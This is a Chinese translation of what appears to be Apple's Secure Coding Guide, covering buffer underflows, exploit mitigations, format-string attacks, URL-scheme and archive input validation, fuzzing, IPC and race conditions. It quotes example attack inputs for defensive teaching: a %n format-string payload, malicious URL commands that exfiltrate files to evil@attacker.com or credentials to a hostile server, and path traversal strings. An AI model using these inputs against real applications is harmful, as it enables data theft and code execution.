如果程序试图跳转到实际上是ASCII字符串的位置,这是缓冲区溢出导致崩溃的肯定迹象。
图2-5缓冲区溢出崩溃日志
如果您的程序中存在任何缓冲区溢出,您应该始终假设它们是可利用的并修复它们。
证明缓冲区溢出不可利用比仅仅修复bug要困难得多。
还要注意,尽管您可以测试缓冲区溢出,但您不能测试是否存在缓冲区溢出;因此,有必要仔细检查代码中的每个输入和每个缓冲区大小计算。
有关模糊测试的更多信息,请参阅验证输入和进程间通信中的 模糊测试。
7、避免缓冲区下溢
从根本上说,当代码的两个部分对缓冲区的大小或缓冲区中的数据不一致时,就会发生缓冲区下溢。
例如,一个固定长度的C字符串变量可能有256字节的空间,但可能包含一个只有12字节长的字符串。
缓冲区下限溢位条件并不总是危险的;当正确的操作取决于代码的两个部分以相同的方式处理数据时,它们就会变得危险。
这通常发生在您读取缓冲区以将其复制到另一个内存块、通过网络连接发送等情况下。
缓冲区下限溢位漏洞有两大类:短写和短读。
当对缓冲区的短写未能完全填满缓冲区时,就会出现短写漏洞。
当这种情况发生时,之前在缓冲区中的一些数据在写入后仍然存在。
如果应用程序稍后对整个缓冲区执行操作(例如,将其写入磁盘或通过网络发送),则会出现存量数据。
这些数据可能是随机的垃圾数据,但如果数据碰巧很有趣,则会出现信息泄漏。
此外,当出现这样的下限溢位时,如果这些位置中的值影响程序流,则下限溢位可能会潜在地导致不正确的行为,包括允许您通过将来自另一个用户、应用程序或其他实体的先前调用的现有授权数据留在堆栈中来跳过认证或授权步骤。
简短的写入示例(系统调用):例如,考虑一个UNIX系统调用,它需要一个命令数据结构,并在该数据结构中包含一个授权令牌。
假设数据结构有多个版本,长度不同,因此系统调用同时采用结构和长度。
假设授权令牌在结构中相当靠后。
假设一个恶意应用程序传入一个命令结构,并传递一个包含数据的大小,但不包括授权令牌。
内核的系统调用处理程序调用copyin
,它将应用程序中一定数量的字节复制到内核地址空间中的数据结构中。
如果内核没有对该数据结构进行零填充,并且内核没有检查大小是否有效,堆栈很有可能仍然在内核内存的同一地址包含前一个调用者的授权令牌。
因此,攻击者能够执行应该被禁止的操作。
当从缓冲区读取无法读取缓冲区的完整内容时,就会出现短读漏洞。
如果程序随后根据该短读做出决策,则可能会导致任何数量的错误行为。
这通常发生在使用C字符串函数从实际上不包含有效C字符串的缓冲区读取时。
C字符串被定义为包含一系列以空终止符结尾的字节的字符串。
根据定义,它不能在字符串结束之前包含任何空字节。
因此,基于C字符串的函数,如strlen
、strlcpy
和strdup
,会复制字符串直到第一个空终止符,并且不知道原始源缓冲区的大小。
相比之下,其他格式的字符串(例如CFStringRef
对象、Pascal字符串或CFDataRef
blob)具有显式长度,并且可以在数据中的任意位置包含空字节。
如果您将这样的字符串转换为C字符串,然后评估该C字符串,您会得到不正确的行为,因为生成的C字符串实际上以第一个空字节结束。
短读示例(SSL验证):几年前在许多SSL堆栈中发生的短读漏洞示例。
通过为您拥有的域的精心制作的子域申请SSL证书,您可以有效地创建对任意域有效的证书。
考虑一个形式为targetdomain.tld[null_byte].yourdomain.tld
的子域。
因为证书签名请求包含一个Pascal字符串,假设证书颁发机构正确解释了它,证书颁发机构将联系yourdomain.tld
的所有者,并请求允许交付证书。
因为您拥有该域,您将同意它。
然后,您将拥有一个对所讨论的看起来相当奇怪的子域有效的证书。
然而,在检查证书的有效性时,许多SSL堆栈在没有任何有效性检查的情况下错误地将Pascal字符串转换为C字符串。
发生这种情况时,生成的C字符串仅包含targetdomain.tld
部分。
然后,SSL堆栈将该截断版本与用户请求的域进行比较,并将证书解释为对目标域有效。
在某些情况下,甚至可以构建通配符证书,这些证书对此类浏览器中的每个可能域都有效(例如,*.com[null].yourdomain.tld
将匹配每个.com
地址)。
如果您遵守以下规则,您应该能够避免大多数下限溢位攻击:
- 使用前对所有缓冲区进行零填充。
仅包含零的缓冲区不能包含过时的敏感信息。 - 始终检查返回值并适当失败。
- 如果对分配或初始化函数的调用失败(例如
AuthorizationCopyRights
),请不要评估结果数据,因为它可能已过时。 - 使用从
read
系统调用和其他类似调用返回的值来确定实际读取了多少数据。
然后: - 使用该结果来确定存在多少数据,而不是使用预定义的常量或
- 如果函数没有返回预期的数据量,则失败。
- 如果
write
调用、printf
调用或其他输出调用返回而没有写入所有数据,则显示错误并失败,特别是如果您以后可能会读回该数据。 - 在处理包含长度信息的数据结构时,请始终验证数据是否为您期望的大小。
- 如果可能,避免将非C字符串(
CFStringRef
对象、NSString
对象、CFDataRef
对象、Pascal字符串等)转换为C字符串。
相反,使用原始格式的字符串。
如果这不可能,请始终对生成的C字符串执行长度检查或检查源数据中的空字节。
- 避免混合缓冲区操作和字符串操作。
如果这不可能,请始终对生成的C字符串执行长度检查或检查源数据中的空字节。 - 以防止恶意篡改或截断的方式保存文件。
(有关详细信息,请参阅竞争条件和安全文件操作。) - 避免整数溢出和下溢。
(有关详细信息,请参阅计算缓冲区大小。)
8、可以提供帮助的安全功能
macOS和iOS提供了两个特性,使利用堆栈和缓冲区溢出变得更加困难:地址空间布局随机化(ASLR)和不可执行堆栈和堆。
地址空间布局随机化
最新版本的macOS和iOS在可能的情况下,每次运行软件时都会为堆栈、堆、库、框架和执行代码选择不同的位置。
这使得成功利用缓冲区溢出变得更加困难,因为不再可能知道缓冲区在内存中的位置,也不可能知道库和其他代码的位置。
地址空间布局随机化需要编译器的一些帮助——具体来说,它需要position-independent代码。
- 如果您正在编译以macOS 10.7及更高版本或iOS4.3及更高版本为目标的可执行文件,则默认启用必要的标志。
如有必要,您可以使用-no_pie
标志禁用此功能,但为了最大的安全性,您不应该这样做。 - 如果您正在编译针对早期操作系统的可执行文件,则必须通过添加
-pie
标志显式启用position-independent可执行文件支持。
不可执行的堆栈和堆
最近的处理器支持一种称为NX位的功能,该功能允许操作系统将内存的某些部分标记为不可执行。
如果处理器试图执行任何标记为不可执行的内存页面中的代码,则有问题的程序会崩溃。
macOS和iOS通过将堆栈和堆标记为不可执行来利用这一特性。
这使得缓冲区溢出攻击更加困难,因为任何将执行代码放在堆栈或堆上然后尝试运行该代码的攻击都会失败。
注意:对于32位macOS应用程序,如果您的应用程序允许在10.7之前在OS X上执行,则只有堆栈被标记为不可执行,而不是堆。
大多数时候,这是您想要的行为。
但是,在一些罕见的情况下(例如编写即时编译器),可能需要修改该行为。
有两种方法可以使堆栈和堆可执行:
- 将
-allow_stack_execute
标志传递给编译器。
这使得堆栈(而不是堆)可执行。 - 使用
mprotect
系统调用将特定内存页标记为可执行文件。
详细信息超出了本文档的范围。
有关详细信息,请参阅mprotect
手册页。
调试堆损坏错误
为了帮助您调试堆损坏错误,您可以使用libgmalloc
库。
它通过使用保护页和其他技术提供额外的溢出检测。
要启用此库,请在终端中键入以下命令:
export DYLD_INSERT_LIBRARIES=/usr/lib/libgmalloc.dylib
然后从终端运行软件(通过运行可执行文件本身或使用open
命令)。
有关详细信息,请参阅libgmalloc
手册页。
其他影响安全性的编译器标志
除了-pie
和-allow_stack_execute
之外,以下标志对安全性也有影响:
-fstack-protector
或-fstack-protector-all
-启用stack canaries(特殊值,如果修改,意味着相邻字符串溢出其边界)并更改堆栈中项目的顺序以最大限度地减少损坏的风险。
当您的函数调用其他可能溢出的函数时,编译器随后会插入额外的代码来验证金丝雀值是否未被修改。
-fstack-😍ector
标志仅为包含超过8个字节的缓冲区(例如堆栈上的字符串)的函数启用stack canaries,并且在为macOS 10.6及更高版本编译时默认启用。
该-fstack-protector-all
标志为所有函数启用stack canaries。-D_FORTIFY_SOURCE
-将额外的静态和动态边界检查添加到许多通常不提供任何边界的函数(sprintf
、vsprintf
、snprintf
、vsnprintf
、memcpy
、mempcpy
、memmove
、memset
、strcpy
、stpcpy
、strncpy
、strcat
和strncat
)。
如果设置为级别1(-D_FORTIFY_SOURCE=1
),则仅执行编译时检查。
为macOS 10.6及更高版本编译时默认启用级别1。
在级别2,执行额外的运行时检查。MallocCorruptionAbort
-一个环境变量,它告诉32位应用程序在malloc
调用由于堆结构损坏而失败时中止。
64位应用程序会自动启用堆损坏中止。
四、验证输入和进程间通信
安全漏洞的一个主要来源是程序无法验证所有来自程序外部的输入——即用户、文件、网络或其他进程提供的数据。
本章描述了利用未经验证的输入的一些方法,以及一些需要练习和避免的编码技术。
1、输入无效的风险
每当您的程序接受来自不受控制来源的输入时,用户都有可能传入不符合您期望的数据。
如果您不验证输入,可能会导致从程序崩溃到允许攻击者执行自己的代码等问题。
攻击者可以通过多种方式利用未经验证的输入,包括:
苹果的许多安全更新都是为了修复输入漏洞,包括黑客用来“越狱”苹果手机的几个漏洞。
输入漏洞很常见,通常很容易被利用,但通常也很容易被修复。
导致缓冲区溢出
如果您的应用程序从用户或其他不受信任的来源获取输入,则绝不应在不检查长度并在必要时截断的情况下将数据复制到固定长度的缓冲区中。
否则,攻击者可以利用输入字段导致缓冲区溢出。
请参阅避免缓冲区溢出和下溢以了解更多信息。
格式化字符串攻击
如果您从用户或其他不受信任的来源获取输入并显示它,您需要小心您的显示例程不处理从不受信任的来源接收到的格式字符串。
例如,在以下代码中,syslog标准C库函数用于将接收到的HTTP请求写入系统日志。
因为syslog
函数处理格式字符串,它将处理输入数据包中包含的任何格式字符串:
/* receiving http packet */
int size = recv(fd, pktBuf, sizeof(pktBuf), 0);
if (size) {syslog(LOG_INFO, "Received new HTTP request!");syslog(LOG_INFO, pktBuf);
}
许多格式字符串可能会导致应用程序出现问题。
例如,假设攻击者在输入数据包中传递以下字符串:
"AAAA%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%n"
该字符串从堆栈中检索八个项目。
假设格式字符串本身存储在堆栈中,这取决于堆栈的结构,这可能会有效地将堆栈指针移回格式字符串的开头。
然后%n
标记将导致print函数获取到目前为止写入的字节数,并将该值写入存储在下一个参数中的内存地址,该参数恰好是格式字符串。
因此,假设采用32位架构,格式字符串本身中的AAAA
将被视为指针值0x41414141
,该地址的值将被数字76覆盖。
这样做通常会在系统下次必须访问该内存位置时导致崩溃,但是通过使用为特定设备和操作系统精心制作的字符串,攻击者可以将任意数据写入任何位置。
有关格式字符串语法的完整描述,请参阅printf
手册页。
要防止格式字符串攻击,请确保没有输入数据作为格式字符串的一部分传递。
要解决此问题,只需在每个此类函数调用中包含您自己的格式字符串。
例如,调用
printf(buffer)
可能会受到攻击,但调用
printf(“%s”, buffer)
不是。
在第二种情况下,缓冲区参数中的所有字符(包括百分号(%
))都被打印出来,而不是被解释为格式化标记。
当字符串不小心格式化了不止一次时,这种情况可能会变得更加复杂。
以下示例错误地将调用结果传递给NSString
方法stringWithFormat:
作为NSAlert
方法informativeTextWithFormat
参数的值alertWithMessageText:defaultButton:alternateButton:otherButton:informativeTextWithFormat:
。
结果,字符串被格式化了两次,来自导入证书的数据被用作NSAlert
方法的格式字符串的一部分。
alert = [NSAlert alertWithMessageText:"Certificate Import Succeeded"defaultButton:"OK"alternateButton:nilotherButton:nilinformativeTextWithFormat:[NSString stringWithFormat: /* BAD! BAD! BAD! */@"The imported certificate \"%@\" has been selected in the certificate pop-up.",[selectedCert identifier]]];[alert setAlertStyle:NSInformationalAlertStyle];
[alert runModal];
相反,字符串应该只格式化一次,如下所示:
alert = [NSAlert alertWithMessageText:"Certificate Import Succeeded"defaultButton:"OK"alternateButton:nilotherButton:nilinformativeTextWithFormat:@"The imported certificate \"%@\" has been selected in the certificate pop-up.",[selectedCert identifier]];
...
以下常用函数和方法容易受到格式字符串攻击:
- 标准C
printf
和printf(3)
手册页上列出的其他功能sscanf
和scanf(3)
手册页上列出的其他功能syslog
和vsyslog
- Carbon
AEBuildDesc
和vAEBuildDesc
AEBuildParameters
和vAEBuildParameters
AEBuildAppleEvent
和vAEBuildAppleEvent
- Core Foundation
CFStringCreateWithFormat
CFStringCreateWithFormatAndArguments
CFStringAppendFormat
CFStringAppendFormatAndArguments
- Cocoa
stringWithFormat:
、initWithFormat:
和其他将格式化字符串作为参数的NSString
方法appendFormat:
在NSMutableString
类中alertWithMessageText:defaultButton:alternateButton:otherButton:informativeTextWithFormat:
在NSAlert
predicateWithFormat:
,predicateWithFormat:arguments:
和predicateWithFormat:argumentArray:
在NSPredicate
raise:format:
和raise:format:arguments:
在NSException
NSRunAlertPanel
和其他创建或返回面板或工作表的AppKit函数
URL和文件处理
如果您的应用程序注册了一个URL方案,您必须小心处理通过URL字符串发送到您的应用程序的命令。
无论您是否公开这些命令,黑客都会尝试向您的应用程序发送命令。
例如,如果您提供一个或多个链接来从您的网站启动您的应用程序,黑客会查看您发送的命令,并尝试他们能想到的所有命令的变体。
您必须准备好处理或过滤掉任何可以发送到您的应用程序的命令,而不仅仅是您希望接收的命令。
例如,如果您接受的命令导致您的应用程序将凭据发送回您的Web服务器,请不要使函数处理程序足够通用,以便攻击者可以替换他们自己的Web服务器的URL。
以下是您不应该接受的命令类型的一些示例:
myapp://cmd/run?program=/path/to/program/to/run
myapp://cmd/set_preference?use_ssl=false
myapp://cmd/sendfile?to=evil@attacker.com&file=some/data/file
myapp://cmd/delete?data_to_delete=my_document_ive_been_working_on
myapp://cmd/login_to?server_to_send_credentials=some.malicious.webserver.com
一般来说,不要接受包含任意URL或完整路径名的命令。
如果您在随后包含在函数或方法调用中的URL命令中接受文本或其他数据,您可能会受到格式字符串攻击(请参阅格式字符串攻击)或缓冲区溢出攻击(请参阅导致缓冲区溢出)。
如果您接受路径名,请注意防止字符串可能会将调用重定向到另一个目录;例如:
myapp://use_template?template=/../../../../../../../../some/other/file
注入攻击
未经验证的URL命令和文本字符串有时允许攻击者将代码插入程序,然后程序执行该程序。
每当您的代码处理结构松散且包含两种或两种以上不同类型数据混合的数据时,您就有遭受注入攻击的风险。
例如,如果您的应用程序将查询传递给SQL数据库,这些查询包含两种类型的数据:命令本身(告诉数据库要做什么)和命令使用的数据。
数据通常用引号与命令分隔。
但是,如果您存储的数据包含引号,您的软件必须正确引用这些附加标记,这样它们就不会被解释为数据的结尾。
否则,恶意攻击者可以向您的软件传递一个包含引号的字符串,后跟一个分号来结束命令,然后是第二个命令来运行,此时SQL数据库将尽职尽责地执行攻击者提供的注入代码。
正确避免注入攻击需要的不仅仅是输入验证,因此在避免注入攻击和XSS中的 避免注入攻击一节中单独介绍。
社会工程学
社会工程——本质上是欺骗用户——可以与未经验证的输入漏洞一起使用,将小烦恼变成大问题。
例如,如果您的程序接受URL命令来删除文件,但首先显示一个请求用户许可的对话框,您可能能够发送一个足够长的字符串来滚动要删除的文件的名称超过对话框的末尾。
您可以欺骗用户认为他们正在删除一些无害的东西,例如不需要的缓存数据。
例如:
myapp://cmd/delete?file=cached data that is slowing down your system.,realfile
然后,用户可能会看到一个对话框,文本为“您确定要删除正在减慢系统速度的缓存数据吗?”在这种情况下,真实文件的名称在对话框窗口底部看不见。
但是,当用户单击“确定”按钮时,用户的真实数据将被删除。
社会工程攻击的其他示例包括诱骗用户单击恶意网站中的链接或跟踪恶意URL。
有关社会工程的更多信息,请阅读设计安全用户界面。
对存档数据的修改
归档数据,也称为对象图序列化,是指将互连对象的集合转换为architecture-independent的字节流,以保留对象和值之间的身份和关系。
存档用于将数据写入文件,在进程之间或通过网络传输数据,或执行其他类型的数据存储或交换。
例如,在Cocoa中,您可以使用编码器对象来创建和读取存档,其中编码器对象是抽象类NSCoder
的具体子类的实例。
从安全角度来看,对象存档存在问题,原因有几个。
首先,对象存档扩展为可以包含任意类的任意实例的对象图。
如果攻击者替换了与您预期不同的类的实例,您可能会得到意想不到的行为。
其次,因为应用程序必须知道存档中存储的数据类型才能将其解档,所以开发人员通常假设被解码的值与他们最初编码的值大小和数据类型相同。
但是,当数据在被解档之前以不安全的方式存储时,这不是一个安全的假设。
如果存档的数据没有安全地存储,攻击者就有可能在应用程序解档之前修改数据。
如果您的initWithCoder:
方法没有仔细验证它解码的所有数据,以确保数据格式正确,并且没有超过为其保留的内存空间,那么通过精心制作损坏的存档,攻击者可能会导致缓冲区溢出或触发另一个漏洞,并可能控制系统。
此外,如果您的initWithCoder:
方法调用decodeObjectForKey:
方法,当调用返回时,可能已经太晚了,无法防止不当行为。
如果您使用存档,数据可能会以不安全的方式存储或传输,或者可能来自不受信任的来源,您应该使用decodeObjectOfClass:forKey:
代替,并且您应该将文件格式的内容限制为符合NSSecureCoding
协议的类。
第三,一些对象在解归档期间(请参阅NSKeyedUnarchiverDelegate
方法unarchiver:didDecodeObject:
)或收到消息时返回不同的对象awakeAfterUsingCoder:
。
NSImage
就是此类类的一个例子——它可能会在未归档时注册自己的名称,从而可能取代应用程序使用的图像。
攻击者可能会利用这一点将恶意损坏的图像文件插入应用程序。
值得记住的是,即使您编写了完全安全的代码,您的代码调用的库中仍然可能存在安全漏洞。
具体来说,您的类的超类的initWithCoder:
方法也涉及到反归档。
注意:请注意nib文件是存档,这些注意事项同样适用于它们。
从签名的应用程序包加载的nib文件应该是可信的,但存储在不安全位置的nib文件不是。
请参阅未验证输入的风险以获取有关读取未验证输入的风险的更多信息,保护文件操作以获取可用于确保存档文件安全的技术,以及本章中的其他部分以获取有关验证输入的详细信息。
2、模糊测试
模糊测试是一种随机或有选择地改变其他有效数据并将其传递给程序以查看会发生什么的技术。
如果程序崩溃或行为不端,这表明可能存在可利用的潜在漏洞。
模糊测试是黑客最喜欢的工具,他们正在寻找缓冲区溢出和本章讨论的其他类型的漏洞。
因为它会被黑客用来对付你的程序,你应该先使用它,这样你就可以在它们关闭之前关闭任何漏洞。
虽然你永远无法证明你的程序完全没有漏洞,但你至少可以通过这种方式摆脱任何容易发现的漏洞。
在这种情况下,开发人员的工作比黑客容易得多。
虽然黑客不仅要找到可能易受攻击的输入字段,还必须确定漏洞的确切性质,然后策划利用它的攻击,但你只需要找到漏洞,然后查看源代码来确定如何关闭它。
你不需要证明问题是可利用的——只要假设有人会找到利用它的方法,并在他们有机会尝试之前修复它。
模糊测试最好使用随机改变传递给程序的输入的脚本或短程序来完成。
根据您正在测试的输入类型——文本字段、URL、数据文件等——您可以尝试超文本标记语言、javascript、超长字符串、通常是非法字符等。
如果程序崩溃或发生任何意外情况,您需要检查处理输入的源代码,看看问题出在哪里,并修复它。
例如,如果您的程序要求输入文件名,您应该尝试输入比最大合法文件名长的字符串。
或者,如果有一个字段指定数据块的大小,请尝试使用比大小字段中指定的数据块大的数据块。
模糊测试时最有趣的值通常是边界值。
例如,如果变量包含有符号整数,请尝试传递该大小的有符号整数允许的最大值和最小值,以及0、1和-1。
如果数据栏应包含不少于1字节且不超过42字节的字符串,请尝试零字节、1字节、42字节和43字节。
依此类推。
除了边界值之外,您还应该尝试远远超出预期值的值。
例如,如果您的应用程序期望图像最大为2,000 x 3,000像素,您可以修改大小字段以声明图像为65,535像素x 65,535像素。
使用大值可以发现整数溢出错误(在某些情况下,当内存分配失败时,NULL
指针处理错误)。
有关整数溢出的更多信息,请参阅避免缓冲区溢出和下溢中的 避免整数溢出和下溢。
在某些情况下,在文件的中间或末尾插入额外的数据字节也是一种有用的模糊测试技术。
例如,如果文件的头表明它在头之后包含1024个字节,模糊器可以添加1025个字节。
模糊器可以在图像文件中添加额外的行或列数据。
等等。
当您在模糊测试时,如果您使用的是Clang编译器,您应该使用-fsanitize
系列编译器标志来编译您的软件。
这些标志允许对有符号和无符号整数溢出、越界数组访问(当边界可以在编译时确定时)和其他常见的编码错误进行额外的运行时检查。
尽管这些额外的检查不能防止溢出发生,但它们确实会导致您的软件在溢出发生时打印诊断消息,这可以更容易地在测试期间检测问题并定位违规代码。
启用地址清理程序功能时,Xcode会设置-fsanitize
标志。
启用地址清理程序后,您可以利用Xcode调试器功能来定位和修复错误的内存访问。
有关地址清理程序的更多信息,请参阅使用地址清理程序。
3、进程间通信和网络
与另一个进程通信时,要记住的最重要的事情是,您通常无法验证另一个进程是否没有受到损害。
因此,您必须将其视为不受信任和潜在的敌意。
如果您没有正确验证输入,避免竞争条件,以及在处理来自潜在敌对来源的数据时执行任何其他适当的测试,所有进程间通信都可能容易受到攻击。
然而,除了这些风险之外,某些形式的进程间通信还具有通信机制固有的特定风险。
本节描述了其中的一些风险。
- Mach 消息
使用Mach消息传递时,重要的是永远不要将进程的Mach任务端口提供给任何其他端口。
如果这样做,您实际上是在允许该进程任意修改进程的地址空间,这使得损害您的进程变得微不足道。
相反,您应该创建一个专门用于与给定客户端通信的Mach端口。
注意:macOS中的Mach消息传递不是受支持的API。
对于无论如何都使用它的应用程序没有向后兼容性保证。 - 分布式对象
分布式对象使用NSDistantObject
代理出售,该代理又使用NSConnection
对象进行通信。
但是,由于NSConnection
不要求序列化对象符合NSSecureCoding
协议,并且不提供内置身份验证机制,因此与不受信任的端点通信可能会导致攻击者调用不安全的方法或执行任意代码。
因此,分布式对象不能在不同进程之间安全地使用,仅适用于使用connectionWithReceivePort:sendPort:
方法的单个进程内的线程间通信。
相反,现代应用程序使用XPC服务进行进程间通信。 - XPC服务
XPC服务是在现代应用程序中进行进程间通信的最安全方式,但即使在这里,安全级别也取决于您的实现的细节。
例如,XPC服务API只允许交换那些符合NSSecureCoding
协议的对象。
这有助于防止对象替换攻击,因为它根据合同要求接收代码跳过解码不属于预期类的对象。
原则上,从远程服务接收的对象可以是任何类的,具有潜在的恶意行为。
如果没有NSSecureCoding
,虽然您可以选择在使用解码对象之前验证其类,但没有任何东西强制执行此操作。
即使这样做,进行这样的测试也需要首先解码对象并将其放入内存中,这是一个安全问题。
使用NSSecureCoding
,当对象不属于预期类时,它们根本无法解码。
但是,要充分利用此功能,您必须正确、安全地为您以这种方式序列化和交换其对象的任何自定义类实现NSSecureCoding
协议。
XPC服务还提供了一种在连接的另一端查询代码标识的方法。
您的应用可以根据连接对象的属性做出安全决策,例如processIdentifier
和auditSessionIdentifier
。
但是,如果您没有使用库验证,如使用库验证中所述,您无法确定不受信任的代码没有在同一进程中运行(例如,通过插件)。
有关XPC服务的更多信息,包括高级NSXPCConnection
API和较低级别的基于C的XPC服务API的详细信息,请阅读在 守护程序和服务编程指南中创建XPC服务 - 共享内存
如果您打算在应用程序之间共享内存,请注意将堆上的任何内存分配为页面对齐的页面大小块。
如果您共享的内存块不是整个页面(或者更糟糕的是,如果您共享应用程序堆栈的某些部分),您可能会在另一端为进程提供覆盖代码、堆栈或其他数据部分的能力,这可能会产生不正确的行为,甚至可能允许注入任意代码。
除了这些风险之外,某些形式的共享内存也可能受到竞争条件攻击。
具体来说,在创建文件和打开文件之间,内存映射文件可能会被其他文件替换。
有关详细信息,请参阅保护文件操作。
最后,以用户身份运行的任何其他进程都可以访问命名共享内存区域和内存映射文件。
因此,使用非匿名共享内存在进程之间发送高度机密的信息是不安全的。
相反,在创建需要共享该区域的子进程之前分配您的共享内存区域,然后将IPC_PRIVATE
作为shmget
的键传递,以确保共享内存标识符不容易猜测。**
注意:** 如果您调用exec
或其他类似函数,共享内存区域将被分离。
如果您需要以安全的方式跨exec
边界传递数据,则必须将共享内存ID传递给子进程。
理想情况下,您应该使用安全机制来执行此操作,例如使用调用pipe
创建的管道。
在需要使用特定共享内存区域的最后一个子进程运行后,创建该区域的进程应该调用shmctl
来删除共享内存区域。
这样做可以确保没有其他进程可以附加到该区域,即使它们设法猜测了区域ID。
shmctl(id, IPC_RMID, NULL);
- 信号
在这种情况下,信号是在基于UNIX的操作系统(如macOS)中从一个进程发送到另一个进程的特定类型的无内容消息。
任何程序都可以注册信号处理函数,以便在接收到信号时执行特定操作。
一般来说,在信号处理程序中做大量的工作是不安全的。
只有少数库函数和系统调用可以安全地在信号处理程序中使用(称为异步信号安全调用),这使得在调用中安全地执行工作变得有些困难。
然而,更重要的是,作为程序员,您无法控制应用程序何时收到信号。
因此,如果攻击者可以将信号传递到您的进程(例如,通过溢出套接字缓冲区),攻击者可以使您的信号处理程序代码在应用程序中的任何两行代码之间的任何时间执行。
如果在某些地方执行该代码会很危险,这可能会有问题。
例如,在2004年,在许多基于UNIX的操作系统中存在的开源代码中发现了信号处理程序竞争条件。
这bug使得远程攻击者能够执行任意代码或通过使FTP守护程序在仍以root用户身份运行时从套接字读取数据并执行命令来停止其工作。
[CVE-2004-0794]出于这个原因,信号处理程序应该做尽可能少的工作量,并且应该在应用程序主程序循环中的已知位置执行大部分工作。
例如,在基于Foundation或Core Foundation的应用程序中,您可以通过调用socketpair
,调用setsockopt
将套接字设置为非阻塞,通过调用CFStreamCreatePairWithSocket
将一端转换为CFStream
对象,然后在运行循环上调度该流。
然后,您可以安装一个最小的信号处理程序,它使用写入系统调用(根据POSIX.1,它是异步信号安全的)将数据写入另一个套接字。
当信号处理程序返回时,您的运行循环将被另一个套接字上的数据唤醒,然后您可以在方便的时候处理信号。
重要提示:如果您在主程序线程的运行循环中写入信号处理程序中的套接字并从中读取,则必须将套接字设置为非阻塞。
如果不这样做,则可能会通过向应用程序发送过多信号来导致应用程序挂起。
套接字的队列是有限大小的。
当它填满时,如果套接字设置为非阻塞,则写调用失败,全局变量errno设置为EAGAIN
。
但是,如果套接字阻塞,则写调用阻塞,直到队列清空到足以写入数据。
如果信号处理程序中的写调用阻塞,这会阻止信号处理程序将执行返回到运行循环。
如果该运行循环负责从套接字读取数据,则队列永远不会清空,写调用永远不会解除屏蔽,您的应用程序将基本挂起(至少直到写调用被另一个信号中断)。
五、Race Conditions和安全文件操作
在处理共享数据时,无论是文件、数据库、网络连接、共享内存还是其他形式的进程间通信,都有许多容易犯的错误,这些错误会危及安全性。
本章描述了许多这样的陷阱以及如何避免它们。
1、避免Race Conditions
当两个或多个事件的顺序发生变化会导致行为发生变化时,就存在竞争条件。
如果程序的正常运行需要正确的执行顺序,这是一个bug。
如果攻击者可以利用这种情况插入恶意代码、更改文件名或以其他方式干扰程序的正常运行,竞争条件就是一个安全漏洞。
攻击者有时可以利用代码处理中的小时间间隔来干扰操作顺序,然后利用这些时间间隔。
与所有现代操作系统一样,macOS是一个多任务操作系统;也就是说,它允许多个进程通过在每个处理器上快速切换它们来同时运行或看起来同时运行。
对用户来说,好处很多,而且大部分是显而易见的;然而,缺点是不能保证在给定进程中执行两个连续的操作,而没有任何其他进程在它们之间执行操作。
事实上,当两个进程使用相同的资源(如同一个文件)时,不能保证它们会以任何特定的顺序访问该资源,除非两个进程都明确采取措施确保它。
例如,如果您打开一个文件,然后从中读取,即使您的应用程序在这两个操作之间没有做任何其他事情,其他一些进程可能会在文件打开之后和读取之前更改文件。
如果两个不同的进程(在相同或不同的应用程序中)正在写入同一个文件,将无法知道哪个进程会先写入,哪个进程会覆盖另一个写入的数据。
这种情况会导致安全漏洞。
可以利用两种基本类型的竞争条件:检查时间-使用时间(TOCTOU)和信号处理。
检查时间与使用时间
应用程序在执行操作之前需要检查一些条件是很常见的。
例如,它可能会在写入文件之前检查文件是否存在,或者用户是否有访问权限在打开文件进行读取之前读取文件。
因为检查和使用之间存在时间间隙(即使可能只有几分之一秒),攻击者有时可以利用该间隙发起攻击。
因此,这被称为检查时间使用问题。
临时文件
一个典型的例子是应用程序将临时文件写入可公开访问的目录。
您可以设置临时文件的文件权限,以防止其他用户更改文件。
但是,如果文件在您写入之前就已经存在,您可能正在覆盖另一个程序所需的数据,或者您可以使用攻击者准备的文件,在这种情况下,它可能是硬链接或符号链接,将您的输出重定向到系统需要的文件或攻击者控制的文件。
为了防止这种情况,程序经常检查以确保目标目录中不存在具有特定名称的临时文件。
如果存在这样的文件,应用程序将删除它或为临时文件选择一个新名称以避免冲突。
如果文件不存在,应用程序将打开文件进行写入,因为打开文件进行写入的系统例程会自动创建一个新文件,如果不存在的话。
攻击者通过持续运行一个程序来创建一个具有适当名称的新临时文件,可以(加上一点持久性和运气)在应用程序检查以确保临时文件不存在和打开它进行写入之间的间隙创建文件。
然后应用程序打开攻击者的文件并写入它(记住,如果有现有文件,系统例程会打开一个现有文件,只有当没有现有文件时才会创建一个新文件)。
攻击者的文件可能与应用程序的临时文件具有不同的访问权限,因此攻击者可以读取内容。
或者,攻击者可能已经打开了该文件。
攻击者可以用指向其他文件(攻击者拥有的文件或现有系统文件)的硬链接或符号链接替换该文件。
例如,攻击者可以用指向系统密码文件的符号链接替换该文件,因此在攻击之后,系统密码已被破坏,包括系统管理员在内的任何人都无法登录。
举一个真实的例子,在目录服务器中的一个漏洞中,服务器脚本将私钥和公钥写入临时文件,然后读取这些密钥并将它们放入数据库。
因为临时文件位于可公开写入的目录中,攻击者可以通过在重读密钥之前替换攻击者自己的文件(或指向攻击者文件的硬链接或符号链接)来创建竞争条件,从而导致脚本插入攻击者的私钥和公钥。
之后,任何使用这些密钥加密或认证的东西都将在攻击者的控制之下。
或者,攻击者可以读取私钥,这可用于解密加密数据。
[CVE-2005-2519]类似地,如果应用程序为了执行某些操作而临时放宽文件或文件夹的权限,攻击者可能能够通过仔细安排攻击发生在放宽这些权限的狭窄窗口中来创建竞争条件。
要了解有关安全创建临时文件的更多信息,请阅读正确创建临时文件。
进程间通信
当然,检查时间-使用时间问题不必涉及文件。
它们可以应用于任何不以原子方式执行操作的数据存储或通信机制。
例如,假设您编写了一个程序,旨在自动计算进入体育场观看比赛的人数。
每当有人走过时,每个旋转栅门都会与服务器上运行的Web服务对话。
每个Web服务实例本质上都是作为一个单独的进程运行的。
每次旋转栅门发送信号时,Web服务的一个实例就会启动,从数据库中检索门计数,将其递增1,并将其写回数据库。
因此,多个进程保持一个运行总数。
现在假设两个人完全同时进入不同的大门。
事件的顺序可能如下:服务器进程A从门A接收请求。
服务器进程B从门B接收请求。
服务器进程A从数据库中读取数字1000
。
服务器进程B从数据库中读取数字1000
。
服务器进程A将门计数增加1,使得Gate == 1001
。
服务器进程B将门计数增加1,使得Gate == 1001
。
服务器进程A写入1001
作为新的门计数。
服务器进程B写入1001
作为新的门计数。
因为服务器进程B在进程A有时间增加并写回之前读取了门计数,所以两个进程读取了相同的值。
